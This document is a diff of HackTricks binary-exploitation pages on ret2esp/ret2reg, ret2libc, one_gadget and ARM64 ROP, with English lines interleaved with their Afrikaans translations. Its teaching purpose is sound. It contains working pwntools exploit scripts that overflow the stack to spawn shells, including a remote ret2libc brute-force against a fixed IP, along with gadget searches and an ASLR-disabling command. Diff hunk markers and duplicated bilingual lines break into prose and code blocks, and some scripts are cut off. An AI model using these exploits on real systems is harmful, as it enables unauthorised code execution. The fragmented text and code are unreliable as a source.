**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
**Omdat die ESP (Stack Pointer) altyd na die bokant van die stapel wys**, behels hierdie tegniek die vervanging van die EIP (Instruction Pointer) met die adres van 'n **`jmp esp`** of **`call esp`** instruksie. Deur dit te doen, word die shellcode reg na die oorgeskryfde EIP geplaas. Wanneer die `ret` instruksie uitgevoer word, wys ESP na die volgende adres, presies waar die shellcode gestoor is.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
As **Address Space Layout Randomization (ASLR)** nie geaktiveer is in Windows of Linux nie, is dit moontlik om `jmp esp` of `call esp` instruksies in gedeelde biblioteke te gebruik. egter, met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktief, mag 'n mens binne die kwesbare program self moet kyk vir hierdie instruksies (en jy mag [**PIE**](../common-binary-protections-and-bypasses/pie/) moet oorwin).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
Boonop, om die shellcode **na die EIP-korrupsie** te plaas, eerder as in die middel van die stapel, verseker dat enige `push` of `pop` instruksies wat tydens die funksie se werking uitgevoer word, nie met die shellcode inmeng nie. Hierdie inmenging kan gebeur as die shellcode in die middel van die funksie se stapel geplaas word.
### Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
### Gebrek aan spasie
As jy spasie ontbreek om te skryf na die oorgeskryfde RIP (miskien net 'n paar bytes), skryf 'n aanvanklike **`jmp`** shellcode soos:
```armasm
sub rsp, 0x30
jmp rsp
```
En skryf die shellcode vroeg in die stapel.
And write the shellcode early in the stack.
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
### Voorbeeld
Jy kan 'n voorbeeld van hierdie tegniek vind in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) met 'n finale exploit soos:
```python
from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
U kan 'n ander voorbeeld van hierdie tegniek sien in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Daar is 'n buffer overflow sonder NX geaktiveer, dit word 'n gadget gebruik om die adres van `$esp` te **verlaag** en dan 'n `jmp esp;` om na die shellcode te spring:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
Op soortgelyke wyse, as ons weet 'n funksie die adres teruggee waar die shellcode gestoor is, kan ons **`call eax`** of **`jmp eax`** instruksies benut (bekend as **ret2eax** tegniek), wat 'n ander metode bied om ons shellcode uit te voer. Net soos eax, kan **enige ander register** wat 'n interessante adres bevat, gebruik word (**ret2reg**).
### Example
### Voorbeeld
You can find some examples here:&#x20;
Jy kan 'n paar voorbeelde hier vind:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
- **`strcpy`** sal die adres van die buffer waar die shellcode gestoor is in **`eax`** stoor en **`eax`** word nie oorgeskryf nie, so dit is moontlik om 'n `ret2eax` te gebruik.
## ARM64
### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
In ARM64 is daar **nie** instruksies wat toelaat om na die SP register te **spring** nie. Dit mag moontlik wees om 'n gadget te vind wat **sp na 'n register beweeg en dan na daardie register spring**, maar in die libc van my kali kon ek nie enige gadget soos dit vind nie:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
Die enigste wat ek ontdek het, sou die waarde van die register verander waar sp gekopieer is voordat daarheen gejump word (sodat dit nutteloos sou word):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
As 'n register 'n interessante adres het, is dit moontlik om daarheen te spring deur net die toepaslike instruksie te vind. Jy kan iets soos gebruik:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
In ARM64, is dit **`x0`** wat die terugkeerwaarde van 'n funksie stoor, so dit kan wees dat x0 die adres van 'n buffer wat deur die gebruiker beheer word met 'n shellcode om uit te voer, stoor.
Example code:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
Die ontleding van die funksie toon dat die **adres na die buffer** (kwetsbaar vir bof en **beheerde deur die gebruiker**) **in `x0` gestoor word** voordat daar van die buffer overflow teruggekeer word:
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
Dit is ook moontlik om die gadget **`br x0`** in die **`do_stuff`** funksie te vind:
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
Ons sal daardie gadget gebruik om daarna te spring omdat die binêre **SONDER PIE gecompileer is.** Met 'n patroon is dit moontlik om te sien dat die **offset van die buffer overflow 80 is**, so die exploit sal wees:
```python
from pwn import *
@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
> [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
> As daar in plaas van `fgets` iets soos **`read`** gebruik was, sou dit moontlik gewees het om PIE te omseil deur **slegs die laaste 2 bytes van die terugkeeradres te oorskryf** om na die `br x0;` instruksie terug te keer sonder om die volledige adres te ken.\
> Met `fgets` werk dit nie omdat dit **'n null (0x00) byte aan die einde byvoeg**.
## Protections
## Beskermings
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): As die stapel nie uitvoerbaar is nie, sal dit nie help nie, aangesien ons die shellcode in die stapel moet plaas en spring om dit uit te voer.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Dit kan dit moeiliker maak om 'n instruksie te vind om na esp of enige ander register te spring.
## References
## Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

View File

@ -2,103 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **Basiese Inligting**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
Die essensie van **Ret2Libc** is om die uitvoeringsvloei van 'n kwesbare program te herlei na 'n funksie binne 'n gedeelde biblioteek (bv. **system**, **execve**, **strcpy**) in plaas daarvan om aanvaller-geleverde shellcode op die stapel uit te voer. Die aanvaller vervaardig 'n payload wat die terugkeeradres op die stapel aanpas om na die gewenste biblioteekfunksie te wys, terwyl hy ook sorg dat enige nodige argumente korrek opgestel word volgens die aanroepkonvensie.
### **Example Steps (simplified)**
### **Voorbeeld Stappe (vereenvoudig)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
- Kry die adres van die funksie om aan te roep (bv. system) en die opdrag om aan te roep (bv. /bin/sh)
- Genereer 'n ROP-ketting om die eerste argument wat na die opdragstring wys en die uitvoeringsvloei na die funksie oor te dra
## Finding the addresses
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
## Vind die adresse
- Aannemend dat die `libc` wat gebruik word die een van die huidige masjien is, kan jy vind waar dit in geheue gelaai sal word met:
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
If you want to check if the ASLR is changing the address of libc you can do:
As jy wil kyk of die ASLR die adres van libc verander, kan jy doen:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
- Knowing the libc used it's also possible to find the offset to the `system` function with:
- Deur die libc wat gebruik word te ken, is dit ook moontlik om die offset na die `system` funksie te vind met:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
- Deur die libc wat gebruik word te ken, is dit ook moontlik om die offset na die string `/bin/sh` funksie te vind met:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Gebruik gdb-peda / GEF
### Using gdb-peda / GEF
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
As jy die gebruikte libc ken, is dit ook moontlik om Peda of GEF te gebruik om die adres van die **system** funksie, die **exit** funksie en die string **`/bin/sh`** te kry:
```bash
p system
p exit
find "/bin/sh"
```
### Gebruik /proc/\<PID>/maps
### Using /proc/\<PID>/maps
As die proses **kinders** skep elke keer as jy met dit praat (netwerkbediener), probeer om daardie lêer te **lees** (waarskynlik sal jy root nodig hê).
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
Hier kan jy **presies waar die libc gelaai is** binne die proses en **waar dit gelaai gaan word** vir elke kind van die proses vind.
![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
In hierdie geval is dit gelaai in **0xb75dc000** (Dit sal die basisadres van libc wees)
## Unknown libc
## Onbekende libc
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
Dit mag moontlik wees dat jy **nie weet watter libc die binêre laai nie** (omdat dit dalk op 'n bediener geleë is waar jy geen toegang het nie). In daardie geval kan jy die kwesbaarheid misbruik om **sekere adresse te lek en uit te vind watter libc** biblioteek gebruik word:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
And you can find a pwntools template for this in:
En jy kan 'n pwntools-sjabloon hiervoor vind in:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
### Know libc with 2 offsets
### Ken libc met 2 offsets
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
Kyk na die bladsy [https://libc.blukat.me/](https://libc.blukat.me/) en gebruik 'n **paar adresse** van funksies binne die libc om die **weergawe wat gebruik word** uit te vind.
## Bypassing ASLR in 32 bits
## Bypass ASLR in 32-bis
These brute-forcing attacks are **only useful for 32bit systems**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
Hierdie brute-forcing aanvalle is **slegs nuttig vir 32-bis stelsels**.
- As die eksploit plaaslik is, kan jy probeer om die basisadres van libc te brute-force (nuttig vir 32-bis stelsels):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- As jy 'n afstandsbediening bediener aanval, kan jy probeer om die **adres van die `libc` funksie `usleep` te brute-force**, met 10 as argument (byvoorbeeld). As die **bediener op 'n stadium 10s ekstra neem om te antwoord**, het jy die adres van hierdie funksie gevind.
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
## Een Gadget
## One Gadget
Execute a shell just jumping to **one** specific **address** in libc:
Voer 'n shell uit deur net na **een** spesifieke **adres** in libc te spring:
{{#ref}}
one-gadget.md
{{#endref}}
## x86 Ret2lib Code Example
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
## x86 Ret2lib Kode Voorbeeld
In hierdie voorbeeld is ASLR brute-force geïntegreer in die kode en die kwesbare binêre is geleë op 'n afstandsbediening bediener:
```python
from pwn import *
@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## x64 Ret2lib Kode Voorbeeld
## x64 Ret2lib Code Example
Check the example from:
Kyk die voorbeeld van:
{{#ref}}
../
{{#endref}}
## ARM64 Ret2lib Example
## ARM64 Ret2lib Voorbeeld
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
In die geval van ARM64, spring die ret-instruksie na waar die x30-register wys en nie waar die stapelregister wys nie. Dit is dus 'n bietjie meer ingewikkeld.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
Ook in ARM64 doen 'n instruksie wat die instruksie doen (dit is nie moontlik om in die middel van instruksies te spring en hulle in nuwe te transformeer nie).
Check the example from:
Kyk die voorbeeld van:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Ret-into-printf (or puts)
## Ret-into-printf (of puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
Dit stel jou in staat om **inligting van die proses te lek** deur `printf`/`puts` aan te roep met spesifieke data as 'n argument. Byvoorbeeld, om die adres van `puts` in die GOT in 'n uitvoering van `puts` te plaas, sal **die adres van `puts` in geheue lek**.
## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
Dit beteken basies om 'n **Ret2lib te misbruik om dit in 'n `printf` formaat string kwesbaarheid te transformeer** deur die `ret2lib` te gebruik om printf aan te roep met die waardes om dit te ontgin (klank nutteloos maar moontlik):
{{#ref}}
../../format-strings/
{{#endref}}
## Other Examples & references
## Ander Voorbeelde & verwysings
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget
- Ret2lib, gegee 'n lek na die adres van 'n funksie in libc, met behulp van een gadget
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bit, ASLR geaktiveer maar geen PIE nie, die eerste stap is om 'n oorgang te vul tot die byte 0x00 van die canary om dan puts aan te roep en dit te lek. Met die canary word 'n ROP gadget geskep om puts aan te roep om die adres van puts van die GOT te lek en dan 'n ROP gadget om `system('/bin/sh')` aan te roep.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bits, ASLR geaktiveer, geen canary nie, stapeloorgang in main van 'n kindfunksie. ROP gadget om puts aan te roep om die adres van puts van die GOT te lek en dan 'n een gadget aan te roep.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
- 64 bits, geen pie, geen canary, geen relro, nx. Gebruik die write-funksie om die adres van write (libc) te lek en roep een gadget aan.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
- Gebruik 'n formaat string om die canary van die stapel te lek en 'n buffer oorgang om in system te bel (dit is in die GOT) met die adres van `/bin/sh`.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bit, geen relro, geen canary, nx, pie. Misbruik 'n slegte indeksering om adresse van libc en heap van die stapel te lek. Misbruik die buffer oorgang om 'n ret2lib aan te roep wat `system('/bin/sh')` aanroep (die heap adres is nodig om 'n kontrole te omseil).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
[**One Gadget**](https://github.com/david942j/one_gadget) stel jou in staat om 'n shell te verkry in plaas van om **system** en **"/bin/sh"** te gebruik. **One Gadget** sal binne die libc-biblioteek 'n manier vind om 'n shell te verkry (`execve("/bin/sh")`) met net een **adres**.\
E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos `[rsp+0x30] == NULL`. Aangesien jy die waardes binne die **RSP** beheer, hoef jy net nog 'n paar NULL-waardes te stuur sodat die beperking vermy word.
![](<../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
Om die adres wat deur One Gadget aangedui word, moet jy **die basisadres waar `libc`** gelaai word, **byvoeg**.
> [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
> One Gadget is 'n **groot hulp vir Arbitrary Write 2 Exec tegnieke** en kan **ROP** **kettings** **vereenvoudig** aangesien jy net een adres hoef aan te roep (en die vereistes moet vervul).
### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
Die github repo noem dat **ARM64 ondersteun** word deur die hulpmiddel, maar wanneer dit in die libc van 'n Kali 2023.3 **loop, vind dit nie enige gadget** nie.
## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
Van die [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Geïnspireer deur [OneGadget](https://github.com/david942j/one_gadget) is hierdie hulpmiddel in python geskryf en gebruik [angr](https://github.com/angr/angr) om beperkings vir gadgets wat `execve('/bin/sh', NULL, NULL)` uitvoer, te toets.\
As jy geen gadgets meer het om van OneGadget te probeer nie, bied Angry Gadget baie meer met ingewikkelde beperkings om te probeer!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR)
## Ret2lib - NX omseiling met ROP (geen ASLR)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile without canary:
Compile sonder canary:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Find offset
### Vind offset
### x30 offset
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
Deur 'n patroon te skep met **`pattern create 200`**, dit te gebruik, en die offset te kontroleer met **`pattern search $x30`** kan ons sien dat die offset **`108`** (0x6c) is.
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
As ons na die gedissemboleerde hooffunksie kyk, kan ons sien dat ons graag wil **spring** na die instruksie om direk na **`printf`** te spring, waarvan die offset vanaf waar die binêre gelaai word **`0x860`** is:
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string
### Vind system en `/bin/sh` string
As the ASLR is disabled, the addresses are going to be always the same:
Aangesien die ASLR gedeaktiveer is, gaan die adresse altyd dieselfde wees:
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets
### Vind Gadgets
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper an interesting gadget was found:
Ons moet in **`x0`** die adres na die string **`/bin/sh`** hê en **`system`** aanroep.
Met rooper is 'n interessante gadget gevind:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Hierdie toestel sal `x0` laai vanaf **`$sp + 0x18`** en dan die adresse x29 en x30 van sp laai en na x30 spring. So met hierdie toestel kan ons **die eerste argument beheer en dan na system spring**.
### Exploit
```python
from pwn import *
from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
## Ret2lib - NX, ASL & PIE omseiling met printf leaks vanaf die stapel
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile **without canary**:
Compile **sonder canary**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE en ASLR maar geen canary
### PIE and ASLR but no canary
- Ronde 1:
- Lek van PIE vanaf die stapel
- Misbruik bof om terug te gaan na hoof
- Ronde 2:
- Lek van libc vanaf die stapel
- ROP: ret2system
- Round 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
### Printf lekke
### Printf leaks
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
Deur 'n breekpunt in te stel voordat printf aangeroep word, is dit moontlik om te sien dat daar adresse is om na die binêre in die stapel terug te keer en ook libc adresse:
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
Deur verskillende offsets te probeer, kan die **`%21$p`** 'n binêre adres lek (PIE omseiling) en **`%25$p`** kan 'n libc adres lek:
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
Deur die gelekte libc adres met die basisadres van libc af te trek, is dit moontlik om te sien dat die **offset** van die **gelekte adres vanaf die basis `0x49c40` is.**
### x30 offset
See the previous example as the bof is the same.
Sien die vorige voorbeeld aangesien die bof dieselfde is.
### Find Gadgets
### Vind Gadgets
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper another interesting gadget was found:
Soos in die vorige voorbeeld, moet ons in **`x0`** die adres na die string **`/bin/sh`** hê en **`system`** aanroep.
Deur rooper is 'n ander interessante gadget gevind:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Hierdie toestel sal `x0` laai van **`$sp + 0x78`** en dan die adresse x29 en x30 van sp laai en na x30 spring. So met hierdie toestel kan ons **die eerste argument beheer en dan na system spring**.
### Exploit
```python
from pwn import *
from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Get main address
